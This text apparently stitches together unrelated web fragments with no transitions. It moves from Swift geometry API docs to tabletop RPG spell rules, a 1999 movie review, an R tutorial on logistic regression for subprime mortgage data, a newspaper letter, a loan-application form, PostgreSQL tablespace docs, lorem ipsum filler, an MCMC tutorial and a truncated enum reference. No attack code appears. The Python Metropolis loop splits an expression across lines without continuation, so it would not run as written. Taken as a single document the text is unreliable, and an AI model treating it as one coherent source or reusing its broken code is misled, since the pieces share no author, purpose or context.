public static func isUniquePool(flock: [Point3D]) -> Bool
Parameters
flock
A collection of points
Return Value
A simple flag
-
Create a point midway between two others
See
‘testMidway’ under Point3DTestsDeclaration
Swift
public static func midway(alpha: Point3D, beta: Point3D) -> Point3D
Parameters
alpha
One boundary
beta
The other boundary
-
Determine the angle (in radians) CCW from the positive X axis in the XY plane
Declaration
Swift
public static func angleAbout(ctr: Point3D, tniop: Point3D) -> Double
-
Ignore the Z value and convert
Declaration
Swift
public static func makeCGPoint(pip: Point3D) -> CGPoint
-
Check to see that the distance between the two is less than Point3D.Epsilon
See
‘testEqual’ under Point3DTestsDeclaration
Swift
public static func == (lhs: Point3D, rhs: Point3D) -> Bool


{{ f }}
Mixing!
Making your Mix. Please Relax and wait
Temperature Monitor
Mix information
agar
q1
water
q2
glycerin
q3


Mages & Sorcerers
This chapter describes the rules for casting spells.
Requirements
In order to use a spell against a person or object, the user must be able to sense the subject in some way. This usually means being able to see or touch the target.
Casting a spell takes at least a full round. The caster must stand relatively still (moving no more than 1 free space) and concentrate. This does not affect his defense.
Skill
Supernatural ability is divided into two camps: the Mage, and the Sorcerer. Mages cast spells affecting the physical world, while Sorcerers weave spells involving the mind. Though the powers differ, the mechanics are similar.
The Mage rolls his Intellect trait to determine if a spell succeeds. If aimed at a space, the challenge level is 4 plus any range penalties. If aimed at a person, the Mage must roll against the target's Dodge or Parry. If the target is a Mage, they may deflect the spell; substitute their Intellect (+7) for Dodge or Parry.
The Sorcerer rolls his Presence trait to determine if a spell succeeds. He must roll against the Defiance of the target (Intellect or Intuition +7). If the target is a Sorcerer, they may deflect the spell; substitute their Presence (+7) for Defiance.
To make an offensive spell work, the caster must make a trait check as above. The caster makes only one roll, even if there are multiple targets. Subjects are affected once per round for the duration of the spell.
Power and Energy
Every magic user has a power level that represents the base amount of supernatural energy he can channel in a single round. This is based on Willpower.
Every spell has an energy level. One can cast spells of energy greater than their power level in a number of ways.
One point of Fortune is worth 1 point of energy.
A mage can sacrifice his health for power: 1 point of energy per wound inflicted on himself.
A sorcerer can sacrifice her sanity for power: 1 point of energy per shock inflicted on herself.
Either can cast spells beyond their power level by taking extra time. Each +3 energy requires roughly a doubling of the time required to cast the spell. A concentrating spellcaster may do nothing else except move 1 space per round.
Channeling too much power can be dangerous. One who concentrates for an hour or longer must make a Fortitude roll versus the hour +7 - 8 at hour 1, 9 at hour 2, etc. Failing this roll makes the spell backfire. For Mages, this means taking an energy blast equal in power to the extra energy summoned so far - 28 at hour 1, 31 at hour 2, etc. For Sorcerers, it means taking a horrify attack of the same magnitude. Normal defenses apply.
| Rounds | +Power |
|---|---|
| 1 | 0 |
| 2 | 3 |
| 3 | 5 |
| 4 | 6 |
| 5 | 7 |
| 6 | 8 |
| 7 | 8 |
| 8 | 9 |
| 9 | 9 |
| 10 | 10 |
| Rounds | +Power |
|---|---|
| 12 | 11 |
| 16 | 12 |
| 20 | 13 |
| 25 | 14 |
| 30 | 15 |
| 40 | 16 |
| 50 | 17 |
| 60 | 18 |
| 80 | 19 |
| 100 | 20 |
| Rounds | +Power |
|---|---|
| 120 | 21 |
| 160 | 22 |
| 200 | 23 |
| 250 | 24 |
| 300 | 25 |
| 400 | 26 |
| 500 | 27 |
| 1 hour | 28 |
| 1 hour 20 min | 29 |
| 1 hour 40 min | 30 |
| Time | +Power |
|---|---|
| 2 hours | 31 |
| 2 hours 40 min | 32 |
| 3 hours 20 min | 33 |
| 4 hours | 34 |
| 5 hours | 35 |
| 6 hours 40 min | 36 |
| 8 hours | 37 |
| 10 hours | 38 |
| 13 hours 20 min | 39 |
| 16 hours | 40 |
It is possible for multiple magic-users to cooperate in the casting of a single spell. One caster (generally the most powerful) acts as the leader; he receives +3 to his power level for each doubling in the number of followers - one follower gives +3, two followers gives +6, four followers gives +9, etc. Followers must possess the same form of supernatural ability (Mage or Sorcerer) as the leader.
There may be objects or locations that give mages or sorcerers a bonus to their power level. The Adversary should be creative.
Attacks
The damage from an attack spell is based on its intensity.
Impact attacks subtract the victim's Protection from the damage. The result is the number of wounds inflicted.
Energy blasts subtract the victim's Fortitude from the damage. The result is the number of wounds inflicted.
Horrify and Torment spells subtract the victim's Willpower from the damage. The result is the number of shocks or wounds inflicted.
Holds
The power of a Disorient spell, a Telekinetic grapple, a Daze, or a Delusion is based on its intensity. If the spell roll is successful, the victim is held fast. For TK holds, this makes the target immobile, incapable of and vulnerable to physical attacks, but does not affect the target's ability to cast spells, deflect Mage spells, or defend against mental attacks. For Daze or Delude spells, the target is senseless and defenseless; he can do nothing except attempt to break free. Disoriented or deluded entities can move and act, but can't sense their surroundings.
To escape a telekinetic hold, the subject rolls his Brawn vs 7 + the intensity of the spell. For Daze or Delude spells, the subject rolls Willpower. For Disorient spells, the subject rolls Perception.
The victim gets a free chance to escape the moment the spell is cast. After that, the victim can attempt to escape once per action (twice per round). If the roll succeeds, the character is free and can act normally on their next action.
Nullify
Spellcasters may attempt to nullify hostile spells with their own. The nullifier must concentrate for a full round and make a trait check versus the Intellect (mage) or Presence (sorcerer) of the caster. If successful, the nullifier must expend an amount of energy equal to the energy of the spell he wishes to destroy. This can be used in response to instantaneous spells if the caster has not used up his actions for the round.
Mages and Sorcerers can only nullify spells of their own kind.
The mage Vunata has the initiative and wishes to make Juk and Tam suffer. He has a Willpower of 6, giving him a Power level of 16. He attacks with a fiery blast: intensity 13, area 2 (to hit both enemies), and duration 2 (he wants them to suffer longer). This spell requires 19 energy, so Vunata burns 3 Fortune to cast it.
Vunata rolls a 9 and adds this to his Intellect (5) for a total of 14. Juk has a Dodge of 14, so the spell affects him. Tam, a mage, has an Intellect of 8, giving her a defense of 15. She deflects the spell from herself.
Juk subtracts his Fortitude (8) from the damage of the spell (13) to get 5. This would cause 10 wounds, but Juk burns his last 5 points of Fortune to escape them. The spell has a duration of 2, however, so Juk is affected again on the next round. He takes 5 wounds.
Alzeimer the Sane wants to open a gigantic portal to the plane of Uggae to bring horrors into the world. The portal he has in mind will have 100 spaces in area (horrors are big) and last for over an hour (horrors are slow). Adding base portal cost (10) to the energy needed for an area 100 portal (30) and that needed for a duration of 1 hour (28) gives an energy of 68.
Alzeimer's Willpower is 6. His base power level of 16 is not high enough to open this portal. At all. To achieve his ridiculous dream, he recruits 4 apprentice mages to act as acolytes for his death cult. This gives him +9 power during rituals. He spends 10 rounds in a group ritual to open the portal, giving him +10 energy. He burns his 30 Fortune for 30 more energy. Last but not least, he inflicts 3 wounds on himself for +3. His power level is now 68, enough to cast the spell.


Guest Voices: Learning and Leading with Equity through Curriculum and Instruction
HCPSS Chief Academic Officer Bill Barnes shares how the work of the Department of Curriculum, Instruction and Assessment is critical to fulfilling the HCPSS mission: ensuring the academic success and social-emotional well-being for each student in an inclusive and nurturing environment that closes opportunity gaps.


TRICK (1999)
Rating: 2 stars (out of 4.0) ******************************** Key to rating system: 2.0 stars - Debatable 2.5 stars - Some people may like it 3.0 stars - I liked it 3.5 stars - I am biased in favor of the movie 4.0 stars - I felt the movie's impact personally or it stood out ********************************* A Movie Review by David Sunga
Directed by: Jim Fall
Written by: Jason Schafer
Starring: Christian Campbell, John Paul Pitoc, and Tori Spelling
Synopsis: A nebbish homosexual attracts the affection of a buff and studly go-go boy, and you know the rest of the story from watching other screen romances. Boy meets boy. Boy loses boy. Guess what's next?
Opinion: Since we all know the romance formula, the way to keep it spicy is to change the setting. Put the romance on a sinking luxury liner, or set it during the Vietnam War, colonial America, ancient Egypt, a trauma center, a cop station, a train ride through Europe and so on. That way when the movie is not concentrating on the inevitable romance, there are interesting and dangerous subplots or fascinating scenery.
TRICK neglects this lesson. It has a predictable romance. Outside of the romance story, we get to hear a lot of side characters complain about not being able to break into showbiz. But their complaints never get resolved.
Reviewed by David Sunga August 15, 1999
Copyright © 1999 by David Sunga This review and others like it can be found at THE CRITIC ZOO: http://www.criticzoo.com email<EMAIL_ADDRESS>The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


4 The subprime mortgage crisis unfolds in early 2007, part 2
Keywords: logistic regression, confusion matrix
4.1 The fall of FICO
The problem with the conventional wisdom of long standing is that it loses sight of history. The prominence of FICO in home loan credit underwriting described in the Pinto Testimony had its origins in a different time (the early 1990s) and a different lending environment. Freddie Mac was in a good position to ensure that all other things were equal. It made only what came to be called “prime” loans, generally for no more than 80% of the value of the property, under more stringent limitations on the debt-to-income ratio of the borrower and many other criteria that it kept within a narrow range, and offered only a few varieties of loans.
In the subprime market that emerged in the late 90s, all of those factors changed. Criteria that were narrow became broad, documentation was relaxed and a widespread assumption was that continually rising home values would preclude any problems. It’s not surprising that FICO lost its predictive power.
4.2 Overview of the down dependent variable
## Version: 1.36.23
## Date: 2017-03-03
## Author: Philip Leifeld (University of Glasgow)
##
## Please cite the JSS article in your publications -- see citation("texreg").
##
## Attaching package: 'texreg'
## The following object is masked from 'package:tidyr':
##
## extract
| deal | count |
|---|---|
| LBMLT 2006-1 | 18 |
| LBMLT 2006-10 | 18 |
| LBMLT 2006-11 | 25 |
| LBMLT 2006-2 | 40 |
| LBMLT 2006-3 | 21 |
| LBMLT 2006-4 | 34 |
| LBMLT 2006-5 | 18 |
| LBMLT 2006-6 | 26 |
| LBMLT 2006-7 | 21 |
| LBMLT 2006-8 | 23 |
| LBMLT 2006-9 | 27 |
| LBMLT 2006-WL1 | 17 |
| LBMLT 2006-WL2 | 32 |
| LBMLT 2006-WL3 | 33 |
MariaDB [dlf]> select down, count(down) from y7 group by down;
+------+-------------+
| down | count(down) |
+------+-------------+
| -13 | 1 |
| -10 | 1 |
| -7 | 2 |
| -6 | 3 |
| -5 | 6 |
| -4 | 4 |
| -3 | 16 |
| -2 | 67 |
| -1 | 253 |
| 0 | 64229 |
| 1 | 10245 |
| 2 | 4724 |
| 3 | 2830 |
| 4 | 2074 |
| 5 | 1763 |
| 6 | 1627 |
| 7 | 1451 |
| 8 | 1470 |
| 9 | 1286 |
| 10 | 1019 |
| 11 | 852 |
| 12 | 728 |
| 13 | 600 |
| 14 | 448 |
| 15 | 306 |
| 16 | 160 |
| 17 | 88 |
| 18 | 18 |
+------+-------------+
Most of the loans are current – down = 0 – but a substantial number are in arrears by one or two payments or defaulted and in various stages of foreclosure.
The negative entries represent a few hundred loans that have made up to 13 months of advanced monthly payments (this was confirmed by checking a field in the database ptd, paid through date).
4.3 Logistic Regression
4.3.1 Restructuring the data
In this section we will be using logistic regression, for which we need a response variable that is binary, 1 or 0, performing or non-performing. This requires classifying the 28 values of down. I have chosen to classify two or fewer payments missed as performing (1), and three or more payments missed as non-performing (0). The binary performance variable will be named perf.
Some of the testing of FICO as a useful metric involved subsetting the data. There were many more variables than the ones used, some of them categorical and some categorical coded as numeric. Here is a summary of the remaining variables
| perf | count |
|---|---|
| 0 | 16,720 |
| 1 | 79,549 |
| grade | count |
|---|---|
| A | 6,886 |
| A- | 1,989 |
| A+ | 9,604 |
| AA | 2 |
| AP | 69,104 |
| AP+ | 2,573 |
| B | 2,039 |
| B- | 1 |
| B+ | 1,568 |
| C | 2,502 |
| D | 1 |
| purpose | count |
|---|---|
| Purchase | 62,077 |
| Refi - Cashout | 30,101 |
| Refi - No Cashout | 4,091 |
| dtype | count |
|---|---|
| Full | 52,580 |
| Limited | 3,789 |
| Stated | 39,900 |
| ltype | count |
|---|---|
| 2/28 LIBOR | 27,224 |
| 2/38 LIBOR | 22,602 |
| 2nd Fixed | 15,145 |
| 3/27 LIBOR | 3,564 |
| 3/37 LIBOR | 3,614 |
| 5/25 LIBOR | 4,303 |
| 5/35 LIBOR | 2,705 |
| 6 Month LIBOR | 51 |
| Fixed | 12,292 |
| I/O 2/28 LIBOR | 3,492 |
| I/O 3/27 LIBOR | 378 |
| I/O 3/37 LIBOR | 63 |
| I/O 5/25 LIBOR | 836 |
| otype | count |
|---|---|
| NOO | 11,197 |
| OO | 83,959 |
| sechome | 1,113 |
| ptype | count |
|---|---|
| 2-4 Units | 6,536 |
| Condo | 8,276 |
| PUD | 12,052 |
| SFR | 69,191 |
| Townhouse | 214 |
4.3.2 Creating training and testing subsets and their subsamples
The next step is to split the original dataset into a training set of approximately 2/3 of the data and a test set of the data and normalize the numeric data to prepare for testing.
This results in a training set with 64,212 and a test set with 46,697, each of which is a moderately largish dataset in its own right, so we will sample 12% of each to get reduced sets, a training sample of 7,705 and a test sample of 5,604.
4.3.3 Using the quantitative variables to predict loan performance with logistic regression
To start, we are going to return to the numeric variables, fico, dti, cltv, obal and orate. This time the dependent variable will not be continuous, as was down on the linear regression model, but binary, perf, with 1 for performing and 0 for non-performing. For this we use a generlized linear model on the sample of our training set.
| Estimate | Std. Error | z value | Pr(>|z|) | |
|---|---|---|---|---|
| (Intercept) | 1.753 | 0.03564 | 49.18 | 0 |
| fico | 0.1537 | 0.03649 | 4.213 | 2.524e-05 |
| dti | 0.05303 | 0.03312 | 1.601 | 0.1093 |
| cltv | -0.5646 | 0.05113 | -11.04 | 2.411e-28 |
| obal | -0.4729 | 0.03248 | -14.56 | 5.031e-48 |
| orate | -0.5118 | 0.03612 | -14.17 | 1.406e-45 |
All of the numeric variables have some degree of predictive power, except for dti.
Omitting dti yields
| Estimate | Std. Error | z value | Pr(>|z|) | |
|---|---|---|---|---|
| (Intercept) | 1.752 | 0.0356 | 49.23 | 0 |
| fico | 0.1475 | 0.03627 | 4.066 | 4.775e-05 |
| cltv | -0.55 | 0.05012 | -10.97 | 5.118e-28 |
| obal | -0.4682 | 0.03235 | -14.47 | 1.767e-47 |
| orate | -0.5151 | 0.03605 | -14.29 | 2.573e-46 |
4.3.4 Intepreting the results
<IP_ADDRESS> How well does the training set self-classify?
Given the training model, we are going to turn it on itself through the predict function, which will give the probability for each loan of its perf being non-zero. This produces what is called a confusion matrix.
| 0 | 1 | |
|---|---|---|
| 0 | 23 | 22 |
| 1 | 1306 | 6354 |
The model classified 0.83 of the outcomes as having a greater than 50% probability of performing (*i.e., better than guessing). If we had set the bar at 75%, the results are similar: 0.82. Reaching for 80% accuracy, however, drops the results to 0.67.
<IP_ADDRESS> Does the training model do as well on the test sample it hasn’t yet seen?
| 0 | 1 | |
|---|---|---|
| 0 | 12 | 16 |
| 1 | 942 | 4634 |
The training model does quite well on the test data. The model classified 0.83 of the outcomes as having a greater than 50% probability of performing (*i.e., better than guessing). If we had set the bar at 75%, the results are similar: 0.82. Reaching for 80% accuracy, however, drops the results to 0.68.
4.3.5 Next steps
We have a promising logistic model based on all of the quantitative variables but one, dti, that lacked predictive power. You could say, informally, that it has 75% accuracy. In the next installment, we will look at the effects of adding in the qualitative variables and move on to resampling and other cross validation methods.


Atmospheric conditions in Kukupia's Headquarter
Latest weather report below. Raw data can be found
at Xively
Air Temperature °C
Ambient Humidity %


---
layout: post
title: 1/15
date: '2013-01-15T22:31:00.001-07:00'
author: Jacob .
tags:
modified_time: '2013-01-16T12:48:05.256-07:00'
blogger_id: tag:blogger.com,1999:blog-6400085873105072120.post-2767294640761518083
blogger_orig_url: http://www.svlark.com/2013/01/115.html
---
I'm starstruck. I got a note from Pat of Bumfuzzle and Live on the Margin fame.
I got in a good hour of reading his book on the bus today. I finished the chapter on swing trading and began the chapter on trading fades.
We also read another great chapter of South from Alaska.
April got a quote from a handyman for helping out with some of our more involved projects to fix up the house and I was actually pleasantly surprised.
-27.5 @ 243.6


Letter to BS: Maharashtra politics has warnings for regional parties
It is a shame that while the BJP and the Shiv Sena fought elections together and got the required mandate to run the government, voters have been left in limbo
by Business StandardApropos "Political circus" (November 14), it’s no surprise that the Centre has used its power to get a longer window to manipulate a majority. It is a shame that while the BJP and the Shiv Sena fought elections together and got the required mandate to run the government, voters have been left in limbo as the two are fighting and don't want to share power as agreed before the elections. It is obvious that the BJP, having got more seats than the Shiv Sena, is attempting to arm-twist the latter to expand its base. What is happening in Maharashtra is a warning signal for other regional parties and in particular, dynasties. The AIADMK in Tamil Nadu should understand that if the BJP can attempt to junk its oldest ideological partner for the sake of power, it can do the same to regional parties and that it will no longer be a “Congress-mukt” but a “vipaksh-mukt” Bharat before 2024.
N Nagarajan, Secunderabad
Letters can be mailed, faxed or e-mailed to:
The Editor, Business Standard
Nehru House, 4 Bahadur Shah Zafar Marg
New Delhi 110 002
Fax:<PHONE_NUMBER>1 •
E-mail<EMAIL_ADDRESS>All letters must have a postal address and telephone number


Credivis
Home
Oh snap!
This form seems to be invalid :(
Success!
Form submitted successfully.
Loan Info
Loan Amount ($)
Loan Purpose
Choose One...
Debt Consolidation
Home Improvement
Student
Special Occasion
Large Purchase
Auto
Baby
Boat
Business
Green Loan
Household Expenses
Medical and Dental
Movind and Relocation
Taxes
Vacation
Other
Credit Score
Choose One...
Excellent (720+)
Good (660-719)
Fair (600-659)
Poor (< 600)
Your Info
Email
Date of birth
First Name
Last Name
Do You Rent or Own?
Choose One...
Rent
Own with Mortgage
Own
Highest Level of Education
Choose One...
High School Diploma
Associate's Degree
Bachelor's Degree
Master's Degree
Other Graduate Degree
Other
Contact Info
Zip Code
City
State
Street Address 1
Street Address 2
Phone Number
Employment Info
Employment Status
Choose One...
Employed
Military
Not Employed
Retired
Self Employed
Other
Annual Income
Pay Frequency
Choose One...
Weekly
BiWeekly
Monthly
Twice Monthly
Other
Social Security
By checking this box, I hereby consent to the "E-Sign Agreement", the "Credit Authorization Agreement", the Terms of Service and Privacy Policy, and am providing written consent under the FCRA for Milebrook Financial. and its partners to obtain consumer report information from my credit profile. I agree to be contacted by Milebrook Financial and its partners at the telephone number(s) I have provided above to explore personal loan offers, including contact through automatic dialing systems, artificial or pre-recorded voice messaging, or text message. Consent is not required as a condition to utilize Milebrook's services, and you may choose to be contacted by an individual customer care representative(s) by calling<PHONE_NUMBER>.


WARNING! Read the conditions for the problems in this set very carefully!
Assume for an undirected graph with numV vertices and numE edges that a vertex index requires vertB bytes, a pointer requires pointerB bytes, and that edge weights require edgeB bytes. Since the graph is undirected, each undirected edge is represented by two directed edges. Calculate the byte requirements for an adjacency list.
ANS
Adjacency list has an array (of size |V|) which points to a list of edges.
Every edge appears twice on the list (the graph is undirected, so we need the directed edge in each direction). And for each edge there has to be a vertex ID, a weight, and a pointer to the next edge.
(V * pointer) + (2 * E * (vertex_index + edge_weight + pointer)) bytes = ANS


Socil Network
Home
Profile
Friends
Lion`s friends
Family:
The beast
Lil One
Lil Two
Friends:
Tiger
Leo
Enemies:
Hyenas
Zebras


| PostgreSQL 9.0.10 Documentation | ||||
|---|---|---|---|---|
| Prev | Up | Chapter 21. Managing Databases | Next |
Tablespaces in PostgreSQL allow database administrators to define locations in the file system where the files representing database objects can be stored. Once created, a tablespace can be referred to by name when creating database objects.
By using tablespaces, an administrator can control the disk layout of a PostgreSQL installation. This is useful in at least two ways. First, if the partition or volume on which the cluster was initialized runs out of space and cannot be extended, a tablespace can be created on a different partition and used until the system can be reconfigured.
Second, tablespaces allow an administrator to use knowledge of the usage pattern of database objects to optimize performance. For example, an index which is very heavily used can be placed on a very fast, highly available disk, such as an expensive solid state device. At the same time a table storing archived data which is rarely used or not performance critical could be stored on a less expensive, slower disk system.
To define a tablespace, use the CREATE TABLESPACE command, for example::
CREATE TABLESPACE fastspace LOCATION '/mnt/sda1/postgresql/data';
The location must be an existing, empty directory that is owned by the PostgreSQL operating system user. All objects subsequently created within the tablespace will be stored in files underneath this directory.
Note: There is usually not much point in making more than one tablespace per logical file system, since you cannot control the location of individual files within a logical file system. However, PostgreSQL does not enforce any such limitation, and indeed it is not directly aware of the file system boundaries on your system. It just stores files in the directories you tell it to use.
Creation of the tablespace itself must be done as a database superuser, but after that you can allow ordinary database users to use it. To do that, grant them the CREATE privilege on it.
Tables, indexes, and entire databases can be assigned to particular tablespaces. To do so, a user with the CREATE privilege on a given tablespace must pass the tablespace name as a parameter to the relevant command. For example, the following creates a table in the tablespace space1:
CREATE TABLE foo(i int) TABLESPACE space1;
Alternatively, use the default_tablespace parameter:
SET default_tablespace = space1; CREATE TABLE foo(i int);
When default_tablespace is set to anything but an empty string, it supplies an implicit TABLESPACE clause for CREATE TABLE and CREATE INDEX commands that do not have an explicit one.
There is also a temp_tablespaces parameter, which determines the placement of temporary tables and indexes, as well as temporary files that are used for purposes such as sorting large data sets. This can be a list of tablespace names, rather than only one, so that the load associated with temporary objects can be spread over multiple tablespaces. A random member of the list is picked each time a temporary object is to be created.
The tablespace associated with a database is used to store the system catalogs of that database. Furthermore, it is the default tablespace used for tables, indexes, and temporary files created within the database, if no TABLESPACE clause is given and no other selection is specified by default_tablespace or temp_tablespaces (as appropriate). If a database is created without specifying a tablespace for it, it uses the same tablespace as the template database it is copied from.
Two tablespaces are automatically created when the database cluster is initialized. The pg_global tablespace is used for shared system catalogs. The pg_default tablespace is the default tablespace of the template1 and template0 databases (and, therefore, will be the default tablespace for other databases as well, unless overridden by a TABLESPACE clause in CREATE DATABASE).
Once created, a tablespace can be used from any database, provided the requesting user has sufficient privilege. This means that a tablespace cannot be dropped until all objects in all databases using the tablespace have been removed.
To remove an empty tablespace, use the DROP TABLESPACE command.
To determine the set of existing tablespaces, examine the pg_tablespace system catalog, for example
SELECT spcname FROM pg_tablespace;
The psql program's \db meta-command is also useful for listing the existing tablespaces.
PostgreSQL makes use of symbolic links to simplify the implementation of tablespaces. This means that tablespaces can be used only on systems that support symbolic links.
The directory $PGDATA/pg_tblspc contains symbolic links that point to each of the non-built-in tablespaces defined in the cluster. Although not recommended, it is possible to adjust the tablespace layout by hand by redefining these links. Two warnings: do not do so while the server is running; and after you restart the server, update the pg_tablespace catalog with the new locations. (If you do not, pg_dump will continue to output the old tablespace locations.)


1. Lorem Ipsum is simply dummy text of the printing and typesetting industry.
2. When an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries
3. There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration
4. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia
5. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages
6. Lorem Ipsum is that it has a more-or-less normal distribution
7. Variations of passages of Lorem Ipsum available, but the majority have suffered
8. Test content lorem Ipsum is that it has a more-or-less normal distribution
9. Lorem Ipsum is that it has a more-or-less normal distribution example content
10. Lorem Ipsum is that it has a more-or-less normal distribution
1. Lorem Ipsum is simply dummy text of the printing and typesetting industry.
2. When an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries
3. There are many variations of passages of Lorem Ipsum available, but the majority have suffered alteration
http://envato.com
4. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia
5. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages
6. Lorem Ipsum is that it has a more-or-less normal distribution
7. Variations of passages of Lorem Ipsum available, but the majority have suffered
8. Test content lorem Ipsum is that it has a more-or-less normal distribution
9. Lorem Ipsum is that it has a more-or-less normal distribution example content
10. Lorem Ipsum is that it has a more-or-less normal distribution


18. Markov Chain Monte Carlo¶
Chinese proverb
A book is known in time of need.
Monte Carlo simulations are just a way of estimating a fixed parameter by repeatedly generating random numbers. More details can be found at A Zero Math Introduction to Markov Chain Monte Carlo Methods.
Markov Chain Monte Carlo (MCMC) methods are used to approximate the posterior distribution of a parameter of interest by random sampling in a probabilistic space. More details can be found at A Zero Math Introduction to Markov Chain Monte Carlo Methods.
The following theory and demo are from Dr. Rebecca C. Steorts’s Intro to Markov Chain Monte Carlo. More details can be found at Dr. Rebecca C. Steorts’s STA 360/601: Bayesian Methods and Modern Statistics class at Duke.
18.1. Metropolis algorithm¶
The Metropolis algorithm takes three main steps:
Sample
Compute the acceptance ratio
Let
(1)¶
Note
Actually, the (1) in Step 3 can be replaced by sampling and setting if and setting otherwise.
18.2. A Toy Example of Metropolis¶
The following example is going to test out the Metropolis algorithm for the conjugate Normal-Normal model with a known variance situation.
18.2.3. Essential mathematical derivation¶
In the Metropolis algorithm, we need to compute the acceptance ratio , i.e.
In many cases, computing the ratio directly can be numerically unstable, however, this can be modified by taking . i.e.
Then the criteria of the acceptance becomes: if , where is sample form the .
18.3. Demos¶
Now, We generate iterations of the Metropolis algorithm starting at and using a normal proposal distribution, where
18.3.1. R results¶
# setting values
set.seed(1)
s2<-1
t2<-10
mu<-5; n<-5
# rounding the rnorm to 2 decimal places
y<-round(rnorm(n,10,1),2)
# mean of the normal posterior
mu.n<-( mean(y)*n/s2 + mu/t2 )/( n/s2+1/t2)
# variance of the normal posterior
t2.n<-1/(n/s2+1/t2)
# defining the data
y<-c(9.37, 10.18, 9.16, 11.60, 10.33)
####metropolis part####
##S = total num of simulations
theta<-0 ; delta<-2 ; S<-10000 ; THETA<-NULL ; set.seed(1)
for(s in 1:S){
## simulating our proposal
#the new value of theta
#print(theta)
theta.star<-rnorm(1,theta,sqrt(delta))
##taking the log of the ratio r
log.r<-( sum(dnorm(y,theta.star,sqrt(s2),log=TRUE))+
dnorm(theta.star,mu,sqrt(t2),log=TRUE))-
( sum(dnorm(y,theta,sqrt(s2),log=TRUE))+
dnorm(theta,mu,sqrt(t2),log=TRUE))
#print(log.r)
if(log(runif(1))<log.r) { theta<-theta.star }
##updating THETA
#print(log(runif(1)))
THETA<-c(THETA,theta)
}
##two plots: trace of theta and comparing the empirical distribution
##of simulated values to the true posterior
par(mar=c(3,3,1,1),mgp=c(1.75,.75,0))
par(mfrow=c(1,2))
# creating a sequence
skeep<-seq(10,S,by=10)
# making a trace place
plot(skeep,THETA[skeep],type="l",
xlab="iteration",ylab=expression(theta))
# making a histogram
hist(THETA[-(1:50)],prob=TRUE,main="",
xlab=expression(theta),ylab="density")
th<-seq(min(THETA),max(THETA),length=100)
lines(th,dnorm(th,mu.n,sqrt(t2.n)) )
Figure. Histogram for the Metropolis algorithm with r shows a trace plot for this run as well as a histogram for the Metropolis algorithm compared with a draw from the true normal density.
18.3.2. Python results¶
# coding: utf-8
# In[1]:
import numpy as np
# In[2]:
from scipy.stats import norm
def rnorm(n,mean,sd):
"""
same functions as rnorm in r
r: rnorm(n, mean=0, sd=1)
py: rvs(loc=0, scale=1, size=1, random_state=None)
"""
return norm.rvs(loc=mean,scale=sd,size=n)
def dnorm(x,mean,sd, log=False):
"""
same functions as dnorm in r
dnorm(x, mean=0, sd=1, log=FALSE)
pdf(x, loc=0, scale=1)
"""
if log:
return np.log(norm.pdf(x=x,loc=mean,scale=sd))
else:
return norm.pdf(x=x,loc=mean,scale=sd)
def runif(n,min=0, max=1):
"""
r: runif(n, min = 0, max = 1)
py: random.uniform(low=0.0, high=1.0, size=None)
"""
return np.random.uniform(min,max,size=n)
# In[3]:
s2 = 1
t2 = 10
mu = 5
n = 5
# In[4]:
y = rnorm(n,10,1)
y
# In[5]:
# mean of the normal posterior
mu_n = (np.mean(y)*n/s2 + mu/float(t2))/(n/float(s2)+1/float(t2))
mu_n
# In[6]:
# variance of the normal posterior
# t2.n<-1/(n/s2+1/t2)
t2_n = 1.0/(n/float(s2)+1.0/t2)
t2_n
# In[7]:
# defining the data
# y<-c(9.37, 10.18, 9.16, 11.60, 10.33)
y = [9.37, 10.18, 9.16, 11.60, 10.33]
# In[8]:
mu_n = (np.mean(y)*n/s2 + mu/float(t2))/(n/float(s2)+1/float(t2))
mu_n
# In[9]:
####metropolis part####
##S = total num of simulations
# theta<-0 ; delta<-2 ; S<-10000 ; THETA<-NULL ; set.seed(1)
theta = 0
delta = 2
S = 10000
theta_v = []
# In[ ]:
for s in range(S):
theta_star = norm.rvs(theta,np.sqrt(delta),1)
logr = (sum(dnorm(y,theta_star,np.sqrt(s2),log=True)) +
sum(dnorm(theta_star,mu,np.sqrt(t2),log=True)))-
(sum(dnorm(y,theta,np.sqrt(s2),log=True)) +
sum(dnorm([theta],mu,np.sqrt(t2),log=True)))
#print(logr)
if np.log(runif(1))<logr:
theta = theta_star
#print(theta)
theta_v.append(theta)
# In[ ]:
import matplotlib.mlab as mlab
import matplotlib.pyplot as plt
plt.figure(figsize=(20, 8))
plt.subplot(1, 2, 1)
plt.plot(theta_v,'b-.')
plt.subplot(1, 2, 2)
#bins = np.arange(0, S, 10)
plt.hist(theta_v, density=True,bins='auto')
x = np.linspace(min(theta_v),max(theta_v),100)
y = norm.pdf(x,mu_n,np.sqrt(t2_n))
plt.plot(x,y,'y-.')
plt.xlim(right=12) # adjust the right leaving left unchanged
plt.xlim(left=8) # adjust the left leaving right unchanged
plt.show()
# In[ ]:
Figure. Histogram for the Metropolis algorithm with python shows a trace plot for this run as well as a histogram for the Metropolis algorithm compared with a draw from the true normal density.
18.3.3. PySpark results¶
TODO…
Figure. Histogram for the Metropolis algorithm with PySpark shows a trace plot for this run as well as a histogram for the Metropolis algorithm compared with a draw from the true normal density.


Enum vrt_error_code¶
Defined in File vrt_error_code.h
Enum Documentation¶
-
enum vrt_error_code¶
Error code constants.
Values:
-
enumerator VRT_ERR_BUFFER_SIZE¶
Buffer is too small.
-
enumerator VRT_ERR_RESERVED¶
One or multiple reserved bits are set.
-
enumerator VRT_ERR_INVALID_PACKET_TYPE¶
Packet type is an invalid value.
-
enumerator VRT_ERR_TRAILER_IN_CONTEXT¶
Context packet has trailer bit set.
-
enumerator VRT_ERR_TSM_IN_DATA¶
Data packet has TSM bit set.
-
enumerator VRT_ERR_INVALID_TSM¶
TSM is an invalid value.
-
enumerator VRT_ERR_INVALID_TSI¶
TSI is an invalid value.
-
enumerator VRT_ERR_INVALID_TSF¶
TSF is an invalid value.
-
enumerator VRT_ERR_BOUNDS_REAL_TIME¶
